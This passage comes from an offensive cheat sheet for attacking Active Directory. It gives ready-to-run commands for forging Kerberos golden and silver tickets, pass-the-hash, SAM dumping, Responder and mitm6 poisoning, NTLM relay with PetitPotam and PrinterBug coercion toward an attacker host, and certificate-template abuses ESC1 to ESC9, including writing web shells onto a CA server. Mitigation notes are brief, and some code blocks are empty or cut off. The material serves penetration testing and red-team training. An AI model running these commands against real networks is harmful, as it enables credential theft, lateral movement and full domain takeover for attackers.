golden_ticket_create -d pentestlab.local -u pentestlabuser -s S-1-5-21-3737340914-2019594255-2413685307 -k d125e4f69c851529045ec95ca80fa37e -t /root/Downloads/pentestlabuser.tck
kerberos_ticket_purge
kerberos_ticket_use /root/Downloads/pentestlabuser.tck
kerberos_ticket_list
```

#### Using a ticket on Linux

```powershell
# Convert the ticket kirbi to ccache with kekeo
misc::convert ccache ticket.kirbi

# Alternatively you can use ticketer from Impacket
./ticketer.py -nthash a577fcf16cfef780a2ceb343ec39a0d9 -domain-sid S-1-5-21-2972629792-1506071460-1188933728 -domain amity.local mbrody-da

ticketer.py -nthash HASHKRBTGT -domain-sid SID_DOMAIN_A -domain DEV Administrator -extra-sid SID_DOMAIN_B_ENTERPRISE_519
./ticketer.py -nthash e65b41757ea496c2c60e82c05ba8b373 -domain-sid S-1-5-21-354401377-2576014548-1758765946 -domain DEV Administrator -extra-sid S-1-5-21-2992845451-2057077057-2526624608-519

export KRB5CCNAME=/home/user/ticket.ccache
cat $KRB5CCNAME

# NOTE: You may need to comment the proxy_dns setting in the proxychains configuration file
./psexec.py -k -no-pass -dc-ip 192.168.1.1 AD/administrator@192.168.1.100 
```

If you need to swap ticket between Windows and Linux, you need to convert them with `ticket_converter` or `kekeo`.

```powershell
root@kali:ticket_converter$ python ticket_converter.py velociraptor.ccache velociraptor.kirbi
Converting ccache => kirbi
root@kali:ticket_converter$ python ticket_converter.py velociraptor.kirbi velociraptor.ccache
Converting kirbi => ccache
```


Mitigations:
* Hard to detect because they are legit TGT tickets
* Mimikatz generate a golden ticket with a life-span of 10 years

### Pass-the-Ticket Silver Tickets

Forging a Service Ticket (ST) require machine account password (key) or NT hash of the service account.

```powershell
# Create a ticket for the service
mimikatz $ kerberos::golden /user:USERNAME /domain:DOMAIN.FQDN /sid:DOMAIN-SID /target:TARGET-HOST.DOMAIN.FQDN /rc4:TARGET-MACHINE-NT-HASH /service:SERVICE

# Examples
mimikatz $ /kerberos::golden /domain:adsec.local /user:ANY /sid:S-1-5-21-1423455951-1752654185-1824483205 /rc4:ceaxxxxxxxxxxxxxxxxxxxxxxxxxxxxx /target:DESKTOP-01.adsec.local /service:cifs /ptt
mimikatz $ kerberos::golden /domain:jurassic.park /sid:S-1-5-21-1339291983-1349129144-367733775 /rc4:b18b4b218eccad1c223306ea1916885f /user:stegosaurus /service:cifs /target:labwws02.jurassic.park

# Then use the same steps as a Golden ticket
mimikatz $ misc::convert ccache ticket.kirbi

root@kali:/tmp$ export KRB5CCNAME=/home/user/ticket.ccache
root@kali:/tmp$ ./psexec.py -k -no-pass -dc-ip 192.168.1.1 AD/administrator@192.168.1.100 
```

Mitigations:
* Set the attribute "Account is Sensitive and Cannot be Delegated" to prevent lateral movement with the generated ticket.


### Pass-the-Ticket Diamond Tickets

> Request a legit low-priv TGT and recalculate only the PAC field providing the krbtgt encryption key

Require:

### Pass-the-Ticket Sapphire Tickets

> Requesting the target user's PAC with `S4U2self+U2U` exchange during TGS-REQ(P) (PKINIT).

The goal is to mimic the PAC field as close as possible to a legitimate one.

Require:
* [Impacket PR#1411](https://github.com/SecureAuthCorp/impacket/pull/1411)
* krbtgt AES key

```ps1
# baduser argument will be ignored
ticketer.py -request -impersonate 'domain_adm' -domain 'lab.local' -user 'domain_user' -password 'password' -aesKey 'krbtgt/service AES key' -domain-sid 'S-1-5-21-...' 'baduser'

### Kerberoasting

> "A service principal name (SPN) is a unique identifier of a service instance. SPNs are used by Kerberos authentication to associate a service instance with a service logon account. " - [MSDN](https://docs.microsoft.com/fr-fr/windows/desktop/AD/service-principal-names)

Any valid domain user can request a kerberos ticket (ST) for any domain service. Once the ticket is received, password cracking can be done offline on the ticket to attempt to break the password for whatever user the service is running as.

### Pass-the-Hash

The types of hashes you can use with Pass-The-Hash are NT or NTLM hashes. Since Windows Vista, attackers have been unable to pass-the-hash to local admin accounts that weren’t the built-in RID 500.

* Metasploit
  ```powershell
  use exploit/windows/smb/psexec
  set RHOST 10.2.0.3
  set SMBUser jarrieta
  set SMBPass nastyCutt3r  
  # NOTE1: The password can be replaced by a hash to execute a `pass the hash` attack.
  # NOTE2: Require the full NT hash, you may need to add the "blank" LM (aad3b435b51404eeaad3b435b51404ee)
  set PAYLOAD windows/meterpreter/bind_tcp
  run
  shell
  ```
* CrackMapExec
  ```powershell
  cme smb 10.2.0.2/24 -u jarrieta -H 'aad3b435b51404eeaad3b435b51404ee:489a04c09a5debbc9b975356693e179d' -x "whoami"
  ```
* Impacket suite
  ```powershell
  proxychains python ./psexec.py jarrieta@10.2.0.2 -hashes :489a04c09a5debbc9b975356693e179d
  ```
* Windows RDP and mimikatz
  ```powershell
  sekurlsa::pth /user:Administrator /domain:contoso.local /ntlm:b73fdfe10e87b4ca5c0d957f81de6863
  sekurlsa::pth /user:<user name> /domain:<domain name> /ntlm:<the users ntlm hash> /run:"mstsc.exe /restrictedadmin"
  ```

You can extract the local **SAM database** to find the local administrator hash :

```powershell
C:\> reg.exe save hklm\sam c:\temp\sam.save
C:\> reg.exe save hklm\security c:\temp\security.save
C:\> reg.exe save hklm\system c:\temp\system.save
$ secretsdump.py -sam sam.save -security security.save -system system.save LOCAL
```


### OverPass-the-Hash (pass the key)

In this technique, instead of passing the hash directly, we use the NT hash of an account to request a valid Kerberost ticket (TGT).

#### Using impacket

```bash
root@kali:~$ python ./getTGT.py -hashes ":1a59bd44fe5bec39c44c8cd3524dee" lab.ropnop.com
root@kali:~$ export KRB5CCNAME="/root/impacket-examples/velociraptor.ccache"
root@kali:~$ python3 psexec.py "jurassic.park/velociraptor@labwws02.jurassic.park" -k -no-pass

# also with the AES Key if you have it
root@kali:~$ ./getTGT.py -aesKey xxxxxxxxxxxxxxkeyaesxxxxxxxxxxxxxxxx lab.ropnop.com

root@kali:~$ ktutil -k ~/mykeys add -p tgwynn@LAB.ROPNOP.COM -e arcfour-hma-md5 -w 1a59bd44fe5bec39c44c8cd3524dee --hex -V 5
root@kali:~$ kinit -t ~/mykers tgwynn@LAB.ROPNOP.COM
root@kali:~$ klist
```

#### Using Rubeus

```powershell
# Request a TGT as the target user and pass it into the current session
# NOTE: Make sure to clear tickets in the current session (with 'klist purge') to ensure you don't have multiple active TGTs
.\Rubeus.exe asktgt /user:Administrator /rc4:[NTLMHASH] /ptt

# More stealthy variant, but requires the AES256 hash
.\Rubeus.exe asktgt /user:Administrator /aes256:[AES256HASH] /opsec /ptt

# Pass the ticket to a sacrificial hidden process, allowing you to e.g. steal the token from this process (requires elevation)
.\Rubeus.exe asktgt /user:Administrator /rc4:[NTLMHASH] /createnetonly:C:\Windows\System32\cmd.exe
```


### Capturing and cracking Net-NTLMv1/NTLMv1 hashes

> Net-NTLM (NTLMv1) hashes are used for network authentication (they are derived from a challenge/response algorithm and are based on the user's NT hash. 

:information_source: : Coerce a callback using PetitPotam or SpoolSample on an affected machine and downgrade the authentication to **NetNTLMv1 Challenge/Response authentication**. This uses the outdated encryption method DES to protect the NT/LM Hashes.

**Requirements**:
* LmCompatibilityLevel = 0x1: Send LM & NTLM (`reg query HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v lmcompatibilitylevel`)

**Exploitation**:
* Capturing using Responder: Edit the `/etc/responder/Responder.conf` file to include the magical **1122334455667788** challenge
    ```ps1
    HTTPS = On
    DNS = On
    LDAP = On
    ...
    ; Custom challenge.
    ; Use "Random" for generating a random challenge for each requests (Default)
    Challenge = 1122334455667788
    ```
* Fire Responder: `responder -I eth0 --lm`, if `--disable-ess` is set, extended session security will be disabled for NTLMv1 authentication
* Force a callback:
    ```ps1
    PetitPotam.exe Responder-IP DC-IP # Patched around August 2021
    PetitPotam.py -u Username -p Password -d Domain -dc-ip DC-IP Responder-IP DC-IP # Not patched for authenticated users
    ```
* If you got some `NTLMv1 hashes`, you need to format them to submit them on [crack.sh](https://crack.sh/netntlm/)
    ```ps1
    username::hostname:response:response:challenge -> NTHASH:response
    NTHASH:F35A3FE17DCB31F9BE8A8004B3F310C150AFA36195554972
    ```
* Or crack them with Hashcat / John The Ripper
    ```ps1
    john --format=netntlm hash.txt
    hashcat -m 5500 -a 3 hash.txt
    ```
* Now you can DCSync using the Pass-The-Hash with the DC machine account

:warning: NTLMv1 with SSP(Security Support Provider) changes the server challenge and is not quite ideal for the attack, but it can be used.


**Mitigations**: 

* Set the Lan Manager authentication level to `Send NTLMv2 responses only. Refuse LM & NTLM`

### Capturing and cracking Net-NTLMv2/NTLMv2 hashes

If any user in the network tries to access a machine and mistype the IP or the name, Responder will answer for it and ask for the NTLMv2 hash to access the resource. Responder will poison `LLMNR`, `MDNS` and `NETBIOS` requests on the network.

```powershell
# https://github.com/lgandx/Responder
$ sudo ./Responder.py -I eth0 -wfrd -P -v

# https://github.com/Kevin-Robertson/InveighZero
PS > .\inveighzero.exe -FileOutput Y -NBNS Y -mDNS Y -Proxy Y -MachineAccounts Y -DHCPv6 Y -LLMNRv6 Y [-Elevated N]

# https://github.com/EmpireProject/Empire/blob/master/data/module_source/collection/Invoke-Inveigh.ps1
PS > Invoke-Inveigh [-IP '10.10.10.10'] -ConsoleOutput Y -FileOutput Y -NBNS Y –mDNS Y –Proxy Y -MachineAccounts Y
```

Crack the hashes with Hashcat / John The Ripper

```ps1
john --format=netntlmv2 hash.txt
hashcat -m 5600 -a 3 hash.txt
```


### Man-in-the-Middle attacks & relaying

NTLMv1 and NTLMv2 can be relayed to connect to another machine.

| Hash                 | Hashcat | Attack method       |
|---|---|---|
| LM                    | `3000`  | crack/pass the hash  |
| NTLM/NTHash           | `1000`  | crack/pass the hash  |
| NTLMv1/Net-NTLMv1     | `5500`  | crack/relay attack   |
| NTLMv2/Net-NTLMv2     | `5600`  | crack/relay attack   |

Crack the hash with `hashcat`.

```powershell
hashcat -m 5600 -a 0 hash.txt crackstation.txt
```

#### MS08-068 NTLM reflection

NTLM reflection vulnerability in the SMB protocolOnly targeting Windows 2000 to Windows Server 2008.

> This vulnerability allows an attacker to redirect an incoming SMB connection back to the machine it came from and then access the victim machine using the victim’s own credentials.

* https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS08-068

```powershell
msf > use exploit/windows/smb/smb_relay
msf exploit(smb_relay) > show targets
```

#### SMB Signing Disabled and IPv4

If a machine has `SMB signing`:`disabled`, it is possible to use Responder with Multirelay.py script to perform an `NTLMv2 hashes relay` and get a shell access on the machine. Also called **LLMNR/NBNS Poisoning**

1. Open the Responder.conf file and set the value of `SMB` and `HTTP` to `Off`.
    ```powershell
    [Responder Core]
    ; Servers to start
    ...
    SMB = Off     # Turn this off
    HTTP = Off    # Turn this off
    ```
2. Run `python  RunFinger.py -i IP_Range` to detect machine with `SMB signing`:`disabled`.
3. Run `python Responder.py -I <interface_card>` 
4. Use a relay tool such as `ntlmrelayx` or `MultiRelay`
    - `impacket-ntlmrelayx -tf targets.txt` to dump the SAM database of the targets in the list. 
    - `python MultiRelay.py -t <target_machine_IP> -u ALL`
5. ntlmrelayx can also act as a SOCK proxy with every compromised sessions.
    ```powershell
    $ impacket-ntlmrelayx -tf /tmp/targets.txt -socks -smb2support
    [*] Servers started, waiting for connections
    Type help for list of commands
    ntlmrelayx> socks
    Protocol  Target          Username                  Port
    --------  --------------  ------------------------  ----
    MSSQL     192.168.48.230  VULNERABLE/ADMINISTRATOR  1433
    SMB       192.168.48.230  CONTOSO/NORMALUSER1       445
    MSSQL     192.168.48.230  CONTOSO/NORMALUSER1       1433

    # You might need to select a target with "-t"
    impacket-ntlmrelayx -t mssql://10.10.10.10 -socks -smb2support
    impacket-ntlmrelayx -t smb://10.10.10.10 -socks -smb2support

    # the socks proxy can then be used with your Impacket tools or CrackMapExec
    $ proxychains impacket-smbclient //192.168.48.230/Users -U contoso/normaluser1
    $ proxychains impacket-mssqlclient DOMAIN/USER@10.10.10.10 -windows-auth
    $ proxychains crackmapexec mssql 10.10.10.10 -u user -p '' -d DOMAIN -q "SELECT 1"   
    ```

**Mitigations**:

 * Disable LLMNR via group policy
    ```powershell
    Open gpedit.msc and navigate to Computer Configuration > Administrative Templates > Network > DNS Client > Turn off multicast name resolution and set to Enabled
    ```
 * Disable NBT-NS
    ```powershell
    This can be achieved by navigating through the GUI to Network card > Properties > IPv4 > Advanced > WINS and then under "NetBIOS setting" select Disable NetBIOS over TCP/IP
    ```

#### SMB Signing Disabled and IPv6

Since [MS16-077](https://docs.microsoft.com/en-us/security-updates/securitybulletins/2016/ms16-077) the location of the WPAD file is no longer requested via broadcast protocols, but only via DNS.

```powershell
crackmapexec smb $hosts --gen-relay-list relay.txt

# DNS takeover via IPv6, mitm6 will request an IPv6 address via DHCPv6
# -d is the domain name that we filter our request on - the attacked domain
# -i is the interface we have mitm6 listen on for events
mitm6 -i eth0 -d $domain

# spoofing WPAD and relaying NTLM credentials
impacket-ntlmrelayx -6 -wh $attacker_ip -of loot -tf relay.txt
impacket-ntlmrelayx -6 -wh $attacker_ip -l /tmp -socks -debug

# -ip is the interface you want the relay to run on
# -wh is for WPAD host, specifying your wpad file to serve
# -t is the target where you want to relay to. 
impacket-ntlmrelayx -ip 10.10.10.1 -wh $attacker_ip -t ldaps://10.10.10.2
```

#### Drop the MIC

> The CVE-2019-1040 vulnerability makes it possible to modify the NTLM authentication packets without invalidating the authentication, and thus enabling an attacker to remove the flags which would prevent relaying from SMB to LDAP

Check vulnerability with [cve-2019-1040-scanner](https://github.com/fox-it/cve-2019-1040-scanner)

```powershell
python2 scanMIC.py 'DOMAIN/USERNAME:PASSWORD@TARGET'
[*] CVE-2019-1040 scanner by @_dirkjan / Fox-IT - Based on impacket by SecureAuth
[*] Target TARGET is not vulnerable to CVE-2019-1040 (authentication was rejected)
```

- Using any AD account, connect over SMB to a victim Exchange server, and trigger the SpoolService bug. The attacker server will connect back to you over SMB, which can be relayed with a modified version of ntlmrelayx to LDAP. Using the relayed LDAP authentication, grant DCSync privileges to the attacker account. The attacker account can now use DCSync to dump all password hashes in AD
    ```powershell
    TERM1> python printerbug.py testsegment.local/username@s2012exc.testsegment.local <attacker ip/hostname>
    TERM2> ntlmrelayx.py --remove-mic --escalate-user ntu -t ldap://s2016dc.testsegment.local -smb2support

    ```


- Using any AD account, connect over SMB to the victim server, and trigger the SpoolService bug. The attacker server will connect back to you over SMB, which can be relayed with a modified version of ntlmrelayx to LDAP. Using the relayed LDAP authentication, grant Resource Based Constrained Delegation privileges for the victim server to a computer account under the control of the attacker. The attacker can now authenticate as any user on the victim server.

#### Ghost Potato - CVE-2019-1384

Requirements:
* User must be a member of the local Administrators group
* User must be a member of the Backup Operators group
* Token must be elevated

Using a modified version of ntlmrelayx : https://shenaniganslabs.io/files/impacket-ghostpotato.zip

```powershell

```

#### RemotePotato0 DCOM DCE RPC relay 

> It abuses the DCOM activation service and trigger an NTLM authentication of the user currently logged on in the target machine

Requirements:
- a shell in session 0 (e.g. WinRm shell or SSH shell)
- a privileged user is logged on in the session 1 (e.g. a Domain Admin user)

```powershell
# https://github.com/antonioCoco/RemotePotato0/

```


#### DNS Poisonning - Relay delegation with mitm6

Requirements: 
- IPv6 enabled (Windows prefers IPV6 over IPv4)
- LDAP over TLS (LDAPS)

> ntlmrelayx relays the captured credentials to LDAP on the domain controller, uses that to create a new machine account, print the account's name and password and modifies the delegation rights of it.

```powershell
git clone https://github.com/fox-it/mitm6.git 
cd /opt/tools/mitm6
pip install .

mitm6 -hw ws02 -d lab.local --ignore-nofqnd
# -d: the domain name that we filter our request on (the attacked domain)
# -i: the interface we have mitm6 listen on for events

# -ip: the interface you want the relay to run on
# -wh: WPAD host, specifying your wpad file to serve
# -t: the target where you want to relay to

# now granting delegation rights and then do a RBCD

```

#### Relaying with WebDav Trick

> Example of exploitation where you can coerce machine accounts to authenticate to a host and combine it with Resource Based Constrained Delegation to gain elevated access. It allows attackers to elicit authentications made over HTTP instead of SMB

**Requirement**:
*  WebClient service

**Exploitation**:
* Disable HTTP in Responder: `sudo vi /usr/share/responder/Responder.conf`
* Generate a Windows machine name: `sudo responder -I eth0`, e.g: WIN-UBNW4FI3AP0
* Prepare for RBCD against the DC: `python3 ntlmrelayx.py -t ldaps://dc --delegate-access -smb2support`
* Discover WebDAV services
    ```ps1
    webclientservicescanner 'domain.local'/'user':'password'@'machine'
    crackmapexec smb 'TARGETS' -d 'domain' -u 'user' -p 'password' -M webdav
    GetWebDAVStatus.exe 'machine'
    ```
* Trigger the authentication to relay to our nltmrelayx: `PetitPotam.exe WIN-UBNW4FI3AP0@80/test.txt 10.0.0.4`, the listener host must be specified with the FQDN or full netbios name like `logger.domain.local@80/test.txt`. Specifying the IP results in anonymous auth instead of System. 
  ```ps1
  # PrinterBug
  dementor.py -d "DOMAIN" -u "USER" -p "PASSWORD" "ATTACKER_NETBIOS_NAME@PORT/randomfile.txt" "ATTACKER_IP"
  SpoolSample.exe "ATTACKER_IP" "ATTACKER_NETBIOS_NAME@PORT/randomfile.txt"

  # PetitPotam
  Petitpotam.py "ATTACKER_NETBIOS_NAME@PORT/randomfile.txt" "ATTACKER_IP"
  Petitpotam.py -d "DOMAIN" -u "USER" -p "PASSWORD" "ATTACKER_NETBIOS_NAME@PORT/randomfile.txt" "ATTACKER_IP"
  PetitPotam.exe "ATTACKER_NETBIOS_NAME@PORT/randomfile.txt" "ATTACKER_IP"
  ```
* Use the created account to ask for a service ticket: 
    ```ps1
    .\Rubeus.exe hash /domain:purple.lab /user:WVLFLLKZ$ /password:'iUAL)l<i$;UzD7W'
    .\Rubeus.exe s4u /user:WVLFLLKZ$ /aes256:E0B3D87B512C218D38FAFDBD8A2EC55C83044FD24B6D740140C329F248992D8F /impersonateuser:Administrator /msdsspn:host/pc1.purple.lab /altservice:cifs /nowrap /ptt
    ls \\PC1.purple.lab\c$
    # IP of PC1: 10.0.0.4
    ```

#### Man-in-the-middle RDP connections with pyrdp-mitm
* https://github.com/GoSecure/pyrdp
* https://www.gosecure.net/blog/2018/12/19/rdp-man-in-the-middle-smile-youre-on-camera/
* Usage
```sh
pyrdp-mitm.py <IP>
pyrdp-mitp.py <IP>:<PORT> # with custom port
pyrdp-mitm.py <IP> -k private_key.pem -c certificate.pem # with custom key and certificate
```
* Exploitation
  * If Network Level Authentication (NLA) is enabled, you will obtain the client's NetNTLMv2 challenge
  * If NLA is disabled, you will obtain the password in plaintext
  * Other features are available such as keystroke recording
* Alternatives
  * S3th: https://github.com/SySS-Research/Seth, performs ARP spoofing prior to launching the RDP listener	

### Active Directory Certificate Services

* Find ADCS Server
  * `crackmapexec ldap domain.lab -u username -p password -M adcs`

* Enumerate AD Enterprise CAs with certutil: `certutil.exe -config - -ping`, `certutil -dump`

#### ESC1 - Misconfigured Certificate Templates

> Domain Users can enroll in the **VulnTemplate** template, which can be used for client authentication and has **ENROLLEE_SUPPLIES_SUBJECT** set. This allows anyone to enroll in this template and specify an arbitrary Subject Alternative Name (i.e. as a DA). Allows additional identities to be bound to a certificate beyond the Subject.

Requirements:
*  Template that allows for AD authentication
* **ENROLLEE_SUPPLIES_SUBJECT** flag
* [PKINIT] Client Authentication, Smart Card Logon, Any Purpose, or No EKU (Extended/Enhanced Key Usage) 

Exploitation:
* Use [Certify.exe](https://github.com/GhostPack/Certify) to see if there are any vulnerable templates
    ```ps1
    Certify.exe find /vulnerable
    Certify.exe find /vulnerable /currentuser
    # or
    PS> Get-ADObject -LDAPFilter '(&(objectclass=pkicertificatetemplate)(!(mspki-enrollment-flag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-ra-signature=*)))(|(pkiextendedkeyusage=1.3.6.1.4.1.311.20.2.2)(pkiextendedkeyusage=1.3.6.1.5.5.7.3.2) (pkiextendedkeyusage=1.3.6.1.5.2.3.4))(mspki-certificate-name-flag:1.2.840.113556.1.4.804:=1))' -SearchBase 'CN=Configuration,DC=lab,DC=local'
    # or
    certipy 'domain.local'/'user':'password'@'domaincontroller' find -bloodhound
    ```
* Use Certify, [Certi](https://github.com/eloypgz/certi) or [Certipy](https://github.com/ly4k/Certipy) to request a Certificate and add an alternative name (user to impersonate)
    ```ps1
    # request certificates for the machine account by executing Certify with the "/machine" argument from an elevated command prompt.
    Certify.exe request /ca:dc.domain.local\domain-DC-CA /template:VulnTemplate /altname:domadmin
    certi.py req 'contoso.local/Anakin@dc01.contoso.local' contoso-DC01-CA -k -n --alt-name han --template UserSAN
    certipy req 'corp.local/john:Passw0rd!@ca.corp.local' -ca 'corp-CA' -template 'ESC1' -alt 'administrator@corp.local'
    ```
* Use OpenSSL and convert the certificate, do not enter a password
    ```ps1
    openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx
    ```
* Move the cert.pfx to the target machine filesystem and request a TGT for the altname user using Rubeus
    ```ps1
    Rubeus.exe asktgt /user:domadmin /certificate:C:\Temp\cert.pfx
    ```

**WARNING**: These certificates will still be usable even if the user or computer resets their password!

**NOTE**: Look for **EDITF_ATTRIBUTESUBJECTALTNAME2**, **CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT**, **ManageCA** flags, and NTLM Relay to AD CS HTTP Endpoints.


#### ESC2 - Misconfigured Certificate Templates

Requirements:
*  Allows requesters to specify a Subject Alternative Name (SAN) in the CSR as well as allows Any Purpose EKU (2.5.29.37.0)

Exploitation:
* Find template
  ```ps1
  PS > Get-ADObject -LDAPFilter '(&(objectclass=pkicertificatetemplate)(!(mspki-enrollment-flag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-ra-signature=*)))(|(pkiextendedkeyusage=2.5.29.37.0)(!(pkiextendedkeyusage=*))))' -SearchBase 'CN=Configuration,DC=megacorp,DC=local'
  ```
* Request a certificate specifying the `/altname` as a domain admin like in [ESC1](#esc1---misconfigured-certificate-templates).


#### ESC3 - Misconfigured Enrollment Agent Templates

> ESC3 is when a certificate template specifies the Certificate Request Agent EKU (Enrollment Agent). This EKU can be used to request certificates on behalf of other users

* Request a certificate based on the vulnerable certificate template ESC3.
  ```ps1
  $ certipy req 'corp.local/john:Passw0rd!@ca.corp.local' -ca 'corp-CA' -template 'ESC3'
  [*] Saved certificate and private key to 'john.pfx'
  ```
* Use the Certificate Request Agent certificate (-pfx) to request a certificate on behalf of other another user 
  ```ps1
  $ certipy req 'corp.local/john:Passw0rd!@ca.corp.local' -ca 'corp-CA' -template 'User' -on-behalf-of 'corp\administrator' -pfx 'john.pfx'
  ```


#### ESC4 - Access Control Vulnerabilities

> Enabling the `mspki-certificate-name-flag` flag for a template that allows for domain authentication, allow attackers to "push a misconfiguration to a template leading to ESC1 vulnerability

* Search for `WriteProperty` with value `00000000-0000-0000-0000-000000000000` using [modifyCertTemplate](https://github.com/fortalice/modifyCertTemplate)
  ```ps1
  python3 modifyCertTemplate.py domain.local/user -k -no-pass -template user -dc-ip 10.10.10.10 -get-acl
  ```
* Add the `ENROLLEE_SUPPLIES_SUBJECT` (ESS) flag to perform ESC1
  ```ps1
  python3 modifyCertTemplate.py domain.local/user -k -no-pass -template user -dc-ip 10.10.10.10 -add enrollee_supplies_subject -property mspki-Certificate-Name-Flag

  # Add/remove ENROLLEE_SUPPLIES_SUBJECT flag from the WebServer template. 
  C:\>StandIn.exe --adcs --filter WebServer --ess --add
  ```
* Perform ESC1 and then restore the value
  ```ps1
  python3 modifyCertTemplate.py domain.local/user -k -no-pass -template user -dc-ip 10.10.10.10 -value 0 -property mspki-Certificate-Name-Flag
  ```

Using Certipy

```ps1
# overwrite the configuration to make it vulnerable to ESC1
certipy template 'corp.local/johnpc$@ca.corp.local' -hashes :fc525c9683e8fe067095ba2ddc971889 -template 'ESC4' -save-old
# request a certificate based on the ESC4 template, just like ESC1.
certipy req 'corp.local/john:Passw0rd!@ca.corp.local' -ca 'corp-CA' -template 'ESC4' -alt 'administrator@corp.local'
# restore the old configuration
certipy template 'corp.local/johnpc$@ca.corp.local' -hashes :fc525c9683e8fe067095ba2ddc971889 -template 'ESC4' -configuration ESC4.json
```

#### ESC6 - EDITF_ATTRIBUTESUBJECTALTNAME2 

> If this flag is set on the CA, any request (including when the subject is built from Active Directory) can have user defined values in the subject alternative name. 

Exploitation:
* Use [Certify.exe](https://github.com/GhostPack/Certify) to check for **UserSpecifiedSAN** flag state which refers to the `EDITF_ATTRIBUTESUBJECTALTNAME2` flag.
    ```ps1
    Certify.exe cas
    ```
* Request a certificate for a template and add an altname, even though the default `User` template doesn't normally allow to specify alternative names
    ```ps1
    .\Certify.exe request /ca:dc.domain.local\domain-DC-CA /template:User /altname:DomAdmin
    ```

Mitigation:   
* Remove the flag : `certutil.exe -config "CA01.domain.local\CA01" -setreg "policy\EditFlags" -EDITF_ATTRIBUTESUBJECTALTNAME2`


#### ESC7 - Vulnerable Certificate Authority Access Control

Exploitation:
* Detect CAs that allow low privileged users the `ManageCA`  or `Manage Certificates` permissions
    ```ps1
    Certify.exe find /vulnerable
    ```
* Change the CA settings to enable the SAN extension for all the templates under the vulnerable CA (ESC6)
    ```ps1
    Certify.exe setconfig /enablesan /restart
    ```
* Request the certificate with the desired SAN.
    ```ps1
    Certify.exe request /template:User /altname:super.adm
    ```
* Grant approval if required or disable the approval requirement
    ```ps1
    # Grant
    Certify.exe issue /id:[REQUEST ID]
    # Disable
    Certify.exe setconfig /removeapproval /restart
    ```

Alternative exploitation from **ManageCA** to **RCE** on ADCS server: 

```ps1
# Get the current CDP list. Useful to find remote writable shares:
Certify.exe writefile /ca:SERVER\ca-name /readonly

# Write an aspx shell to a local web directory:
Certify.exe writefile /ca:SERVER\ca-name /path:C:\Windows\SystemData\CES\CA-Name\shell.aspx /input:C:\Local\Path\shell.aspx

# Write the default asp shell to a local web directory:
Certify.exe writefile /ca:SERVER\ca-name /path:c:\inetpub\wwwroot\shell.asp

# Write a php shell to a remote web directory:
Certify.exe writefile /ca:SERVER\ca-name /path:\\remote.server\share\shell.php /input:C:\Local\path\shell.php
```


#### ESC8 - AD CS Relay Attack

> An attacker can trigger a Domain Controller using PetitPotam to NTLM relay credentials to a host of choice. The Domain Controller’s NTLM Credentials can then be relayed to the Active Directory Certificate Services (AD CS) Web Enrollment pages, and a DC certificate can be enrolled. This certificate can then be used to request a TGT (Ticket Granting Ticket) and compromise the entire domain through Pass-The-Ticket.

#### ESC9 - No Security Extension

Requirements:
* `StrongCertificateBindingEnforcement` set to `1` (default) or `0`
* Certificate contains the `CT_FLAG_NO_SECURITY_EXTENSION` flag in the `msPKI-Enrollment-Flag` value
* Certificate specifies `Any Client` authentication EKU
* `GenericWrite` over any account A to compromise any account B

**Scenario**

John@corp.local has **GenericWrite** over Jane@corp.local, and we want to compromise Administrator@corp.local. 
Jane@corp.local is allowed to enroll in the certificate template ESC9 that specifies the **CT_FLAG_NO_SECURITY_EXTENSION** flag in the **msPKI-Enrollment-Flag** value.

* Obtain the hash of Jane with Shadow Credentials (using our GenericWrite)
    ```ps1
    certipy shadow auto -username John@corp.local -p Passw0rd -account Jane
    ```
* Change the **userPrincipalName** of Jane to be Administrator. :warning: leave the `@corp.local` part
    ```ps1
    certipy account update -username John@corp.local -password Passw0rd -user Jane -upn Administrator
    ```
* Request the vulnerable certificate template ESC9 from Jane's account.
    ```ps1
    certipy req -username jane@corp.local -hashes ... -ca corp-DC-CA -template ESC9
    # userPrincipalName in the certificate is Administrator 
    # the issued certificate contains no "object SID"
    ```
* Restore userPrincipalName of Jane to Jane@corp.local.
    ```ps1
    certipy account update -username John@corp.local -password Passw0rd -user Jane@corp.local
    ```
* Authenticate with the certificate and receive the NT hash of the Administrator@corp.local user. 
    ```ps1
    certipy auth -pfx administrator.pfx -domain corp.local
    # Add -domain <domain> to your command line since there is no domain specified in the certificate.
    ```


#### Certifried CVE-2022-26923

> An authenticated user could manipulate attributes on computer accounts they own or manage, and acquire a certificate from Active Directory Certificate Services that would allow elevation of privilege.

* Find `ms-DS-MachineAccountQuota`
  ```ps1
  python bloodyAD.py -d lab.local -u username -p 'Password123*' --host 10.10.10.10 getObjectAttributes  'DC=lab,DC=local' ms-DS-MachineAccountQuota 
  ```
* Add a new computer in the Active Directory, by default `MachineAccountQuota = 10`
  ```ps1
  python bloodyAD.py -d lab.local -u username -p 'Password123*' --host 10.10.10.10 addComputer cve 'CVEPassword1234*'
  certipy account create 'lab.local/username:Password123*@dc.lab.local' -user 'cve' -dns 'dc.lab.local'
  ```
* [ALTERNATIVE] If you are `SYSTEM` and the `MachineAccountQuota=0`: Use a ticket for the current machine and reset its SPN
  ```ps1

  certipy cert -export -pfx "PATH_TO_PFX_CERT" -password "CERT_PASSWORD" -out "unprotected.pfx"
  ```

### UnPAC The Hash

Using the **UnPAC The Hash** method, you can retrieve the NT Hash for an User via its certificate.

* Windows
    ```ps1
    # Request a ticket using a certificate and use /getcredentials to retrieve the NT hash in the PAC.
    Rubeus.exe asktgt /getcredentials /user:"TARGET_SAMNAME" /certificate:"BASE64_CERTIFICATE" /password:"CERTIFICATE_PASSWORD" /domain:"FQDN_DOMAIN" /dc:"DOMAIN_CONTROLLER" /show
    ```
* Linux
    ```ps1
    # Obtain a TGT by validating a PKINIT pre-authentication
    $ gettgtpkinit.py -cert-pfx "PATH_TO_CERTIFICATE" -pfx-pass "CERTIFICATE_PASSWORD" "FQDN_DOMAIN/TARGET_SAMNAME" "TGT_CCACHE_FILE"
    
    # Use the session key to recover the NT hash
    $ export KRB5CCNAME="TGT_CCACHE_FILE" getnthash.py -key 'AS-REP encryption key' 'FQDN_DOMAIN'/'TARGET_SAMNAME'
    ```


### Shadow Credentials

